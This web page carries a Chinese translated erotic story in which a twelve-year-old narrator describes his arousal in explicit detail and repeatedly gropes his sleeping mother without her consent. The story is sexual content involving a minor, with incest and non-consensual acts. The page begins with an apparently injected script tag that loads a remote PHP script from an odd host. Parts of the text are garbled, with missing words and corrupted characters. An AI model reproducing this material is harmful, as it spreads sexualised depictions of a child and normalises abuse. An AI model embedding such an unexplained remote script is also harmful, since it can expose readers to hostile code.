<script src='lm.admin5./s.php?id=312'></script>
<span>
——「譯文」世上只有我媽好(上)
世上只有我媽好
(上)
由於父親是個職業人,因此在我的成長過程中,搬家成了稀鬆平常的事。
也因如此,我愈來愈討厭交友,因為,向剛萌芽的友情說再見是一件非常難過的事。更令人沮喪的是,我是獨子,沒有可以嘻笑吵鬧的兄弟姊妹。我成了一個非常孤單的孩子,我將責任歸咎到父親身上,我在心裡不斷責怪他。許多人嚮往環遊世界,然而,我必須說,世界再大再新奇,寂寞還是如影隨形。我真的很討厭在不同的地方遷徙。
我不能說他是個壞父親,也無法認同他是個好爸爸。我想軍人的子女都能體會這種感覺,當總是在外的父親回家時,相聚時擁有的不是久別重逢的感動,而是莫名而巨大的疏離,他的世界裡只有分明的黑白與不容質疑的對錯,對他而言行為也只有適當和不適當的分別,對於長輩,父親總是畢恭畢敬;至於女人,他認為不必給予太多尊重;談到小孩,包含我在內,則是完全不需表現禮貌的對待。
雖然長大的過程中,我並未刻意思考關於父親的種種,然而,我非常明白,心深處,對於父親,我是非常厭惡的。我是個乖小孩,行為舉止都符合禮儀,考試總是拿高分,作業從不遲交,房間永遠乾乾淨淨,也絕對不會惹禍上身。然而當我愈是實行父親的教悔,對他的恨意也愈來愈深。他軍人的身份、尖銳的個喜歡炫耀自己毫無縐折制服甚至愚蠢水手領巾的言談,全都讓我厭惡不已。他不是我心中的好爸爸,也絕非母親的好丈夫。
媽比爸年輕五歲,倆人體格一比較,她顯得瘦弱太多,身高約莫一百五十公分左右。髮色紅棕,髮長及肩,瞳孔顏色深黑,鼻梁挺直頰骨高聳而雙唇細薄。
打從有記憶以來,母親就是美神的化身。據我側面瞭解,父親那些見過母親的軍中友人,每位也都對媽的美色感到讚嘆不已。
她採取溫柔慈愛的態度對待我,與我的關係就像密友,總是會適時給我擁抱和親吻,會盡其所能滿足我的需求。毫無疑問,我非常地敬愛她,我不懂的是,老爸為何不會憐香惜玉。他對待老媽不算糟糕,然而,以母親的表現來說,老爸實在回報的太少。他對老媽一派無所謂的態度,正是讓我最痛恨他的原因。
老爸在家的時間真的非常少,有太多的日常公事要完成,有太多的演習要參加,甚至有機密的短暫任務要執行。因此,家中總是只有我和老媽相互依靠,這種狀況,正合我心意。我總是在心中祈禱某個國度會發生戰爭,讓父親必須離開許多年而非短短幾個月。
沒想到,我的願望成真了!
一九九零年,夏。那年我十二歲,住在華盛頓一棟兩層樓房。那時,狂人海珊攻打科威特。老爸的部隊瞬間進入紅色警戒狀態,一個月後,部隊投入了戰爭之中。何時能歸來,答案不明。
起初,如同其他軍人眷屬一般,母親替父親感到憂心忡忡。所以,她開始參加眷屬間的聚會,偶爾還會邀請這些人到家裡聚餐。然而,幾個月之後,她的擔心程度亦隨著時間下滑。她開始減少當志工的時間,不參加聚會,也慢慢地不再與這些眷屬聯繫。看來,她似乎已將父親參戰的事拋諸腦後。
到了九月,她決定完全放掉這些與這些眷屬的聯誼,除了採購日常用品之外她是不出門的。在家的時候,她總是穿得簡單,不是睡衣就是寬大的t恤。而她一天的活動也變得單純,不是看電視,就是坐在客廳裡,喝喝咖啡抽抽菸,發發呆或思考某些事情。
我成了她最得力的助手。每每放學回家,我會先將功課做完,然後看她是否需要幫忙。到了週末,我就會跟著她去採購,當個快樂的苦力。夜晚,我會陪著她坐在沙發上觀賞租來的影片。而我也是她忠實聽眾,無論她想聊什麼,我總是奉陪到底,哪怕她訴說的是對父親的思念。
有時候,她會哭泣,特別是看到有關戰爭的新聞報導。在這種時候,我會輕抱著她,撫摸她的髮,給她安慰的話語,為了讓她開心,我總是不斷強調自己對她的愛,讚美她的美貌,或分享一些學校的八卦。這些話題很顯然起了作用,我的溫柔與關懷讓她很是感激,甚至到了後來,我的言談成了她生活的動力。
然而,在其他方面,她也開始對我產生依賴。我們出門的活動很簡單,就是去得來速買買漢堡或者其他餐廳買速食。在外待最久的一次為十二月的某日,我們一起去挑選聖誕禮物。只是,出門簡單進門難,每次要踏進家門口或進入某個房間前,母親總要我先去打開電燈,否則她寧可罰站。她鎮日抱怨著對黑暗的恐懼,恐懼著奇怪的聲響,在這種狀況下,彷彿我才是,而她是個小孩。
一月,母親莫名的恐懼症更加嚴重,因為戰爭正式開打了。她非常擔心父親的安危,一有時間就守在電視前觀看新聞。她總要我去檢查信箱,每天好幾回,她期待能收到來自父親的隻字片語,卻也擔心會收到政府所捎來的不幸消息。
二月,當地面戰全面爆發,她變得緊張兮兮,直嚷著無法入睡。因此,她要求我與他共枕,別讓她一待在房裡,關心母親的我當然不會拒絕這個要求。
我本以為只要幾個夜晚,母親的狀況就會好轉,然而,當我給母親的安全感是如此巨大,同眠就成了一種習慣,毋須她再開口,我成了她每夜的守護神。
當然,我知道,許多同齡的小孩都抗拒與母親同睡,然而,對我而言,這件事卻是樂趣無窮,我喜歡在入睡前有她躺在身邊,喜歡半夜或清晨醒來能馬上看見她的臉。她的身體暖暖的,軟軟的,她的氣味聞來總是芬芳。
到了三月前兩週,官方正式宣佈戰爭結束(我們仍未從父親那邊得到消息)
而我的惡夢卻開始,躺在母親身邊的我,夜夜勃起無法壓抑。很自然地,青春期的我於此時學會了,我總習慣在半夜偷偷起床,溜進浴室裡打個幾,而後再安靜地上床睡覺,我也開始有了幻想,對象通常是瑪琳達,我的同學,一位可愛的棕髮女孩。她有著甜美的笑容與發育中的胴體,想像中,我與她熱吻,手在她的胸活動。聽聞過有些戀愛的同學已經開始偷吃禁果,然而,我卻不曾幻想至那一步。
對於一事,我很少覺得罪惡,只是感到有些害羞,同時擔心會被母親發現,會讓她對我失望。{}最害怕的情況是,她不但抓到我打手槍,甚至道出我腦中的幻想。因為,幻想世界裡,她開始成了一位不可缺席的對象。
別說我變態!畢竟,她是個美人,是我生命最重要的女人,是她給我關懷、鼓勵、擁抱還有親吻。而且她幾乎整天在我身旁,無論是在舒適而安全的家中,甚至同一張床上。再者,疲弱不振的她在家總是穿得清涼,她身上不變的是睡衣會變的只有款式,這些睡衣在在凸顯她的好身材,更要命的是,她有時候甚至會穿著透明薄紗睡衣,在家中來回晃蕩。我無法忽視將衣服撐高的她的美胸,更無法忽略她胸前的激凸。
我尚未看過她的裸體(很小的時候看過,不過那些畫面早已不復記憶),然而每當想到這件事,想要觀看的念頭就更加強烈。幻想她的內容,基本上,與想像瑪琳達同樣無趣,親吻加撫胸罷了。唯一不同的是,對於老媽,我不敢?捷p越雷池的想法。然而,當三月即將結束,某事的發生,改變了一切。
那天,放學回家,一打開門,我聽見了薩克斯風的樂聲在屋內飄揚,熟悉母親習的我,很容易就猜到現在的音樂表示母親需要個伴。
回房將書包放下,隨即下樓,尋找母親的蹤跡。很快,我發現她在廚房裡,餐桌上擺著一杯咖啡,煙灰缸上有根還在燃燒的菸,一本打開的雜誌在她面前。
她穿著熱褲與一件豔紅的長袖寬鬆t恤,我也發現她的頭髮經過整理,臉上有著淡妝,這些訊號表示她的心情還算不錯。
我在走廊停下腳步,對她行注目禮,欣賞著她迷人的模樣。雖然渴望欣賞她裸體的念頭總讓人困擾,不過,我還是十分慶幸能擁有如此貌美、纖瘦又三圍比例適中的母親,有些同學也都對母親的美感到讚嘆不已。如湯米,一週前他就對我說,妳媽也美得太過份了吧。正確的句子是:「妳媽也美得太過份了吧,你這幸運的小王八蛋。」當時,我要他住口,甚至做出動手的樣子,然而我的心中實是非常認同他的話。
幸運的是,老媽沒有發現我正傻傻看著她,甚至不感覺到背後我的存在。終於,我不再沈默,走向冰箱的同時,我張口對她打招呼。母親隨口應了我一聲卻未抬頭,視線仍停留在雜誌上的她,在揚手握我手的時候,指尖卻無意劃過了我的跨下。我感覺到一股電流竄過身體,驚訝讓我產生異樣。母親發現自己竟不小心摸到了我的下體,連忙調整手的角度,輕輕握住了我的手掌。我稍微用力將她的手握緊,問她是在閱讀何種書籍。
「名人雜誌啊。」她説道。
她鬆開了手,手來到了我的腰上,頭依舊不抬,只是將我拉向了她。我讓手臂繞著她的頸部,讓手掌停在她的肩上,接著目光向下,看著她正在閱讀的文章文章主角是某位女星,曾主演過一部名為「與童結婚」的影片,文章上頭還有一張她的照片。
我試圖閱讀內容,然而字體實在太小,距離又太遠,只好作罷,然而,在此同時,我也發現自己可以透過這角度望穿母親上衣的領口。如果母親穿得妥當,我就沒有眼福可享。幸好,她沒有將扣子全扣上的習慣,所以我有機可趁。如同平日,她沒有穿胸罩,她的模樣盡入我眼簾。
這對不大,但也不可覷小。大小適中,約是我手可掌握。渾圓而堅挺,色如白雪,而小巧的乳頭則是淡淡的粉紅,或許是因為第一次實際看見奶頭(看過的第一對胸部是在花花公子雜誌上,雜誌從同學手中所借),加上睡衣不再構成觀賞的屏障,所以我直覺母親的乳頭是世上最迷人的一對。我好想伸手穿過母親的領口,想體會的感覺,想嚐嚐搓揉的滋味。才想到此,我的老二馬上有了反應,於瞬間硬得不像話。
突來的生理反應嚇了我一跳,我馬上向後退了一步。還好,母親沒有注意到我的窘樣。正確來說,此刻她眼中根本沒有我的存在,因為她正專注於雜誌的內容之中。過了好一會兒,我重新鼓起勇氣,踏回可以觀覽雙峰之處。我本目不轉睛的盯著老媽的,只不過,最後終因緊張情緒不斷升高,害怕被她抓到幹壞事的我只得離開春光無限美好之境。
我向她表示必須回房做功課,這是實話。
她答道:「嗯,不過要寫快一點喔。」她的眼裡透露出要人作伴的訊息。
答應了她,我三步併兩步回房,順手將門鎖上,脫下褲子開始打手槍。那天的快感非常強烈,是我之前不曾到達的境界。完事之後,腳軟的我不得不坐,坐下後,回憶著剛剛所見,思考方才所為,反省自己的錯,我告誡自己不得再犯,必須阻止自己再以男女情愛的眼光看待母親,現在不可,以後也萬萬不行。
當然,辦不到。
我以飛快的速度寫完作業,而後拔腿狂奔至樓下,回到她身邊,再見衣中春色。不可思議的是,即便到了晚上,她的兩顆依舊在我腦裡發漲,就寢時,又開始不安份,讓我不得不偷偷將手伸進棉被裡頭制止它。
之前,躺在母親身邊的我(有時她會要我摟著她睡),總會熬個半小時或六十分鐘,在確定她入睡之後,溜下床進浴室,解放。
今晚,我本來也打算這麼幹。然而,當房裡是一片黑暗,當白天要人興奮的畫面不斷重播,當我不斷幻想著將手伸入她衣中讓手搓揉的景象,再忍不住沒有下床,我直接將手伸入棉被之中,抓住,開始安慰它。
一分鐘後,靈光乍現。趁她熟睡時,施展鹹豬手,如何?
我停下動作,轉頭看著老媽。不見她的臉,只見她的背,而棉被與她的頸部齊高。獸總是比理智先出手,我讓自己轉身,看著她的後腦,緩緩將棉被拉至她的腰間,然後小心翼翼尋找兩座高峰的座落之處。今晚的她穿著薄紗睡衣,雖然房中光亮非常微弱,我還是能勉強辨識她胸部的位置。
小心謹慎,為偷雞摸狗之首要。手前進的速度十分緩慢,終於,我觸碰到她讓手掌停留在她的左乳上。手中傳來的飽滿度讓人訝異,而柔軟的程度等同於我所想像。我好想用力抓卻怕吵醒她。幸好,聰明的我隨即想出替代方案,我讓手前後來回移動,讓手掌輕壓,幾分鐘後,換邊。就這樣,我一手玩弄老媽的,一手套弄。
不知何來的勇氣,我將手伸進了她的睡衣之下,直接摸著她的右乳。冰冷睡衣下的肌膚是非常溫暖,手指不覺已逗著那顆可愛的乳頭,搞了一分鐘之後,我讓胸部上的手靜下,而握著雞巴的手卻快速的運動起來。{}不到六十秒,就要的感覺,臨降。
把握最後的時間,衝刺。精液於一瞬間,爆發,知蠢總在過後。我的老二正對著母親,我們之間的距離是幾公分就可丈量。距離太近,射得太快,精液落在了老媽身上。剛剛的量是前所未有的大,一滴不漏的落在母親的臀部上,像條蜿蜒的小河,精液流到了床單上。更糗的是,剛剛的時候,因為太,我還忍不住叫了一聲媽。
當告停,我馬上抬頭觀看老媽的臉龐,查看她的眼是睜開或闔上。我認為她並未醒過來。不過,這推測說不定是自欺欺人罷了。安靜下床,躡手躡腳走進浴室,拿了條毛巾,我努力擦拭著褲子上的污漬,清理完後,我溜回自己的臥室,將毛巾藏在髒衣堆的最下。
再回到母親房裡,我以007的身手回到床上。閉上眼,在緊張不安情緒的折磨裡頭,我慢慢入睡。
(待續)
世上只有我媽好(下)
世上只有我媽好(下)
夜襲母親後的隔日,恐懼,如影隨形。我甚至做好心理準備,等老媽拿昨夜之事指責不對。我覺得,即便沒有吵醒她,然而,她該也會注意到衣衫上我留下的污漬才是。不過,觀察很久以後,我得到一個確定的答案。看來,我是憂天的祁人哪。她什麼話也沒說,舉止也看不出有任何異常。至此,我終於從擔心的惡夢中,解脫。
上學的途中,我暗自下了決定,絕不讓昨夜之事重新上演。
結果,到了晚上,我很快反悔了。
躺在母親身邊,我完全無力抵抗她肉體的誘惑。再次出手將她的睡衣拉高,那對再無所遁形,這下,我可以一邊摸奶一邊觀賞兩顆肉球的變化。不過,這回我學聰明了,覺得就快射精的時候,我翻身躺平,眼睛注視著她,雙手打著手槍,最後,我讓精液落在自己的腹部上。此外,為了避免上下床可能驚醒她的困擾,我拿出事先準備的濕紙巾,直接在床上善後。
接下來的幾週,幾乎每夜都會重演上述的事。隨著時間的流動,我大膽的程度是舉夜俱增,大幅延長了摸奶的時間,或逗逗乳頭(逗到讓睡夢中的母親的乳頭變硬),我甚至將手伸入她的大腿內側,讓手進入她的睡褲穿過內褲而後撫摸那蜜壺。
我愈來愈迷戀老媽,每晚的秘密行動漸漸不再讓我感到滿足。白天,我的腦子裡全是她的倩影。而放學時,若母親不需陪伴,我會直奔回房,將門鎖上,幻想中的她。瑪琳達成了過去,我的幻想世界裡,如今只容得下母親的存在。
而原本單調的幻想內容也已進化,夜裡在她身上探索之處,全成了幻想世界的新領域。親吻撫胸外,我開始想像與她做愛的景況。將老二插入她的肉穴,她;將塞入她的嘴巴,讓她幫我吹喇叭。
一週週過去,種種的幻想讓罪惡感愈來愈重。然而,同一時間,我也強迫自己不去責怪夜裡的不軌之舉。
我努力試著控制情勢,讓良心壓倒慾望,避免擦槍走火的狀況發生。然而,四月十五日,母親的三十五歲生日當天,事情再生巨大變化。
那天早上,她的心情極佳,甚至邊做早餐邊哼歌。而當我將準備好的禮物交給她時,她臉上的笑容更加燦爛了。從百貨公司買來的禮物並不特別,不過是一副廉價的玉製心型墜飾,然而,從表情判斷,顯然她很喜歡這份禮物。她即刻戴上(是我幫她戴的,算意外收穫),心型的部分恰巧落在她的雙峰中央。接著,為表感謝之意,她給了我一個擁抱一個吻。
那天恰好是禮拜六,午時,我們決定出外用膳。我們選了家出名的速食店用餐,用餐完後,我倆漫步在街上,瀏覽著各家商店的櫥窗,享受著美好時光。她又笑又跳,彷彿回到了少女時代。
然而,回到家中,我們隨即發現信箱裡有郵件寄達。在老媽打開閱讀之前,我忽然胸口煩悶鬱意上升。果不其然,此信出自父親之手。老媽坐上了沙發,仔細的閱讀著。她的表情變化非常明顯,起初,皺眉表示困惑,然後,整張臉寫滿心傷,身子開始發顫。她摀住了嘴,眼中淚光閃閃,看得出來,她極力壓抑哭泣的慾望。
「寫了什麼?」我問道,雖然心中已猜到大概。